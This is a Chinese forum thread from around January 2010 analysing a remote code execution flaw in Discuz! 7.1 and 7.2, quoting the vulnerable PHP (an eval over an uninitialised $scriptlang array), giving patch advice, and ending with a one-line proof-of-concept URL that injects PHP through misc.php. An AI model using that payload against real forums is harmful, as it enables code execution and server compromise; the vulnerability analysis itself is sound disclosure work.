Discuz! 7.1 & 7.2 远程代码执行漏洞

migroom

首先说一下，漏洞是t00ls核心群传出去的，xhming 先去读的，然后我后来读的，读出来的都是代码执行，1月5日夜里11点多钟，在核心群的黑客们的要求下，xhming给了个poc，我给了个exp，确实发现的是同一个问题。截止夜里2点多种我下线，还只有t00ls核心群里几个人知道我给出的exp，可我怎么也想不到，经过半天时间，exp就满天飞了，而且确实出自昨天我的那个版本。
不难想象，exp流传的速度，A与B关系好，A发给B；B与C是好朋友，B发给C...总有人耐不住性子，泄露点风声，于是就人手一份。最受不了的是，竟然有些SB在群里拿来叫卖；实在不想说什么，要叫卖什么时候轮到你？人心不古，以后有的话还是自己藏着吧。
上午漏洞告诉了Saiy，DZ官方的补丁很快就出来了吧。
特别说明：产生漏洞的$scriptlang数组在安装插件后已经初始化，因此有安装插件的用户不受影响。
漏洞介绍：
Discuz！新版本7.1与7.2版本中的showmessage函数中eval中执行的参数未初始化，可以任意提交，从而可以执行任意PHP命令。
漏洞分析：
下面来分析下这个远程代码执行漏洞，这个问题真的很严重，可以直接写shell的：
一、漏洞来自showmessage函数：

1. function showmessage($message, $url_forward = '', $extra = '', $forwardtype = 0) {
   
2.     extract($GLOBALS, EXTR_SKIP);//危险的用法，未初始化的变量可以直接带进函数，直接导致了问题产生，from www.***.com
   
3.     global $hookscriptmessage, $extrahead, $discuz_uid, $discuz_action, $debuginfo, $seccode, $seccodestatus, $fid, $tid, $charset, $show_message, $inajax, $_DCACHE, $advlist;
   
4.     define('CACHE_FORBIDDEN', TRUE);
   
5.     $hookscriptmessage = $show_message = $message;$messagehandle = 0;
   
6.     $msgforward = unserialize($_DCACHE['settings']['msgforward']);
   
7.     $refreshtime = intval($msgforward['refreshtime']);
   
8.     $refreshtime = empty($forwardtype) ? $refreshtime : ($refreshtime ? $refreshtime : 3);
   
9.     $msgforward['refreshtime'] = $refreshtime * 1000;
   
10.     $url_forward = empty($url_forward) ? '' : (empty($_DCOOKIE['sid']) && $transsidstatus ? transsid($url_forward) : $url_forward);
    
11.     $seccodecheck = $seccodestatus & 2;
    
12.     if($_DCACHE['settings']['funcsiteid'] && $_DCACHE['settings']['funckey'] && $funcstatinfo && !IS_ROBOT) {
    
13.         $statlogfile = DISCUZ_ROOT.'./forumdata/funcstat.log';
    
14.         if($fp = @fopen($statlogfile, 'a')) {
    
15.             @flock($fp, 2);
    
16.             if(is_array($funcstatinfo)) {
    
17.                 $funcstatinfo = array_unique($funcstatinfo);
    
18.                 foreach($funcstatinfo as $funcinfo) {
    
19.                     fwrite($fp, funcstat_query($funcinfo, $message)."\n");
    
20.                 }
    
21.             } else {
    
22.                 fwrite($fp, funcstat_query($funcstatinfo, $message)."\n");
    
23.             }
    
24.             fclose($fp);
    
25.             $funcstatinfo = $GLOBALS['funcstatinfo'] = '';
    
26.         }
    
27.     }
    
28.     if(!defined('STAT_DISABLED') && STAT_ID > 0 && !IS_ROBOT) {
    
29.         write_statlog($message);
    
30.     }
    
31.     if($url_forward && (!empty($quickforward) || empty($inajax) && $msgforward['quick'] && $msgforward['messages'] && @in_array($message, $msgforward['messages']))) {
    
32.         updatesession();
    
33.         dheader("location: ".str_replace('&', '&', $url_forward));
    
34.     }
    
35.     if(!empty($infloat)) {
    
36.         if($extra) {
    
37.             $messagehandle = $extra;
    
38.         }
    
39.         $extra = '';
    
40.     }
    
41.     if(in_array($extra, array('HALTED', 'NOPERM'))) {
    
42.         $discuz_action = 254;
    
43.     } else {
    
44.         $discuz_action = 255;
    
45.     }
    
46.     include language('messages');
    
47.     $vars = explode(':', $message);//只要含:就可以了
    
48.     if(count($vars) == 2 && isset($scriptlang[$vars[0]][$vars[1]])) {//两个数字即可，用:分割
    
49.         eval("\$show_message = "".str_replace('"', ' "', $scriptlang[$vars[0]][$vars[1]])."";");//$scriptlang未初始化，可以自定义，from www.***.com
    
50.     } elseif(isset($language[$message])) {
    
51.         $pre = $inajax ? 'ajax_' : '';
    
52.         eval("\$show_message = "".(isset($language[$pre.$message]) ? $language[$pre.$message] : $language[$message])."";");
    
53.         unset($pre);
    
54.     }
    
55.     ......
    
56. }

复制代码

二、DZ的全局机制导致了未初始化的参数可以任意提交：

1. foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
   
2.     foreach($$_request as $_key => $_value) {
   
3.         $_key{0} != '_' && $$_key = daddslashes($_value);
   
4.     }
   
5. }

复制代码

三、misc.php正好有个可以自定义message的点，其实也是未初始化：

1. elseif($action == 'imme_binding' && $discuz_uid) {
   
2.     if(isemail($id)) {
   
3.         $msn = $db->result_first("SELECT msn FROM {$tablepre}memberfields WHERE uid='$discuz_uid'");
   
4.         $msn = explode("\t", $msn);
   
5.         $id = dhtmlspecialchars(substr($id, 0, strpos($id, '@')));
   
6.         $msn = "$msn[0]\t$id";
   
7.         $db->query("UPDATE {$tablepre}memberfields SET msn='$msn' WHERE uid='$discuz_uid'");
   
8.         showmessage('msn_binding_succeed', 'memcp.php');
   
9.     } else {
   
10.         if($result == 'Declined') {
    
11.             dheader("Location: memcp.php");
    
12.         } else {
    
13.             showmessage($response['result']);//$response没有初始化，可以自定义，from www.***.com
    
14.         }
    
15.     }
    
16.    }

复制代码

四、漏洞利用：
showmessage函数里$vars = explode(':', $message);然后message可以自己控制，于是就很容易了，参数是两个自定义的数组。
五、漏洞修复：
1.有补丁的打补丁；
2.没有补丁可以暂时先注释引起漏洞的语句，或者对两个变量赋个值。
poc：
（应Saiy的要求，不发exp了！）注册一个用户登陆,然后提交
misc.php?action=imme_binding&response[result]=1:2&scriptlang[1][2]={${phpinfo()}}

冰♂山茶花

传得这么快~我刚得到的消息，明哥也知道了~

笨鸟高飞

额~~我试了NB5的好像不行

月上走

额~~我试了NB5的好像不行
笨鸟高飞 发表于 2010-1-6 20:47

咱是铁打的{:4_91:}

migroom

额~~我试了NB5的好像不行
笨鸟高飞 发表于 2010-1-6 20:47

    哈哈,发帖子之前就修复咯...